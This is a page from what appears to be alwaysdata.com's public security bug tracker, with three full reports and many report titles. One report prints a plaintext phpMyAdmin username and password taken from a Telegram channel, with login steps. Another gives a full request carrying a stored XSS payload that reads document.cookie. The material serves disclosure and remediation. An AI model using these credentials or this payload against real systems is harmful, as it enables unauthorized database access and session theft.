Vulnerability Type:Sensitive Credential Exposure
Severity:CRITICAL
Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.
Remediation: Reset all compromised user passwords immediately Enforce multi-factor authentication Monitor for signs of account compromise and unauthorized access Notify impacted users to update credentials
Impact: Mass account takeovers by attackers Breach of personal data and intellectual property Financial fraud and illegal activities using compromised accounts Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations
Poc :
https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing
|
|
100 | Full Privilege Access to phpMyAdmin on alwaysdata.com | Closed | 15.11.2024 |
Task Description
Overview: While conducting research on alwaysdata.com, I discovered sensitive credentials publicly exposed on a Telegram channel. These credentials provided direct access to alwaysdata’s phpMyAdmin instance, exposing database management functionalities that could lead to unauthorized data access, modification, or deletion. This issue represents a serious security risk, as it could enable malicious actors to compromise databases hosted on alwaysdata.
Steps to Reproduce: 1. Navigate to [https://phpmyadmin.alwaysdata.com/](https://phpmyadmin.alwaysdata.com/). 2. Use the following credentials found on the Telegram channel:
Username: projets_baltic
Password: LouisCelestin004@#
3. Successfully logging in grants full access to phpMyAdmin.
Proof of Concept (PoC):
![PoC](https://imgur.com/NZ33jM2.png)
Impact: - Unrestricted access to phpMyAdmin allows any user to view, edit, or delete data within the accessible databases. - Potential exposure of sensitive customer or internal data, which could result in data breaches. - Elevates the risk of unauthorized database modifications, compromising data integrity and system security.
Remediation Suggestions: - Immediately change the credentials for the affected phpMyAdmin user accounts and review logs for any unauthorized access. - Implement IP or role-based access restrictions to phpMyAdmin to prevent unauthorized external access. - Monitor and periodically audit for publicly shared or leaked credentials, especially on social media and messaging platforms.
Motivation for Reporting: This report highlights the potential for data compromise on alwaysdata’s phpMyAdmin, as exposed credentials grant full access to manage sensitive databases. Addressing this issue will help alwaysdata protect its customers’ data and maintain the integrity of its hosted environments.
References: - [OWASP Secure Credential Storage](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere) - [NIST Guidelines on Access Control](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
Please feel free to reach out if additional details or verification are required.
|
|
99 | STORED XSS IN MESSAGE PARAMETER | Closed | 13.11.2024 |
Task Description
Stored Xss in mesaage parameter:
Hello Team, I hope you are doing well. While Researching on your domain i Found Stored Xss in message Parameter via Post Method.
Steps:
1. Go to https://admin.alwaysdata.com/message/toggle/. 2. Capture this request on BurpSuite. 3. While in Post Request, there is message_id parameter, you can input xss payload <script>alert(document.cookie)</script> and copy the request and paste it in browser you see it will reflecting in browser.
Poc:
POST /message/toggle/ HTTP/2 Host: admin.alwaysdata.com Cookie: csrftoken=xxxxxxxxxxxxxx; django_language=en; sessionid=xxxxxxxxxxxxxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://admin.alwaysdata.com/message/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Csrftoken: nxxtYwkQfIRMWcftaEokwghO10GoV6yv X-Requested-With: XMLHttpRequest Content-Length: 50 Origin: https://admin.alwaysdata.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers
message_id=<script>alert(document.cookie)</script>
Impact Can steal Cookie, Can run javascript code, etc
Thank You,
Waleed Anwar
|
|
98 | Poor Error Handling | Closed | 12.11.2024 | |
|
97 | Password Reset Email Flooding (No Rate Limiting) | Closed | 12.11.2024 | |
|
96 | ##Title: Improper Access Control in [admin.alwaysdata.c ... | Closed | 12.11.2024 | |
|
95 | SSRF WITH FILE UPLOAD FUNCTIONALITY | Closed | 12.11.2024 | |
|
94 | Race Condition in Product Creation Limit | Closed | 09.11.2024 | |
|
93 | Logout CSRF | Closed | 06.11.2024 | |
|
92 | A password reset page does not properly validate the au ... | Closed | 04.11.2024 | |
|
91 | No Rate Limit on account deletion request | Closed | 31.10.2024 | |
|
90 | User can add administrator email in their profile setti ... | Closed | 28.10.2024 | |
|
89 | Vulnerability Report: Missing Rate Limiting on Password ... | Closed | 28.10.2024 | |
|
87 | ### Title:**Insecure Direct Object Reference (IDOR) Vul ... | Closed | 24.10.2024 | |
|
86 | Lack of Password Confirmation on Delete Account | Closed | 24.10.2024 | |
|
85 | Bug Report: XSS Vulnerability via File Upload | Closed | 24.10.2024 | |
|
84 | Title: Exposed .git Directory on https://security.alway ... | Closed | 24.10.2024 | |
|
83 | Issue: Application Allowing Old Password to be Set as N ... | Closed | 26.10.2024 | |
|
82 | Vulnerability: Password Reset Links Not Expiring After ... | Closed | 28.10.2024 | |
|
81 | Encoded XSS and SQL Injection in Registration Page | Closed | 25.10.2024 | |
|
80 | Bug bounty - MTA-STS Record Not Found for Domain | Closed | 23.09.2024 | |
|
79 | Nginx version leaking Information Disclosure | Closed | 23.09.2024 | |
|
78 | **Title:** Access Control Vulnerability in Two-Factor A ... | Closed | 23.09.2024 | |
|
77 | ## Security Report: On click Mark all notifications as ... | Closed | 23.09.2024 | |
|
76 | **Title: Two-Factor Authentication Bypass ** in [admin. ... | Closed | 19.09.2024 | |
|
74 | Bypassing Two-Factor Authentication via Account Deactiv ... | Closed | 02.09.2024 | |
|
73 | Unlimited SSH Server Creation Vulnerability on AlwaysDa ... | Closed | 02.09.2024 | |
|
72 | **Security Report: Disclosure of Two-Factor Authenticat ... | Closed | 28.08.2024 | |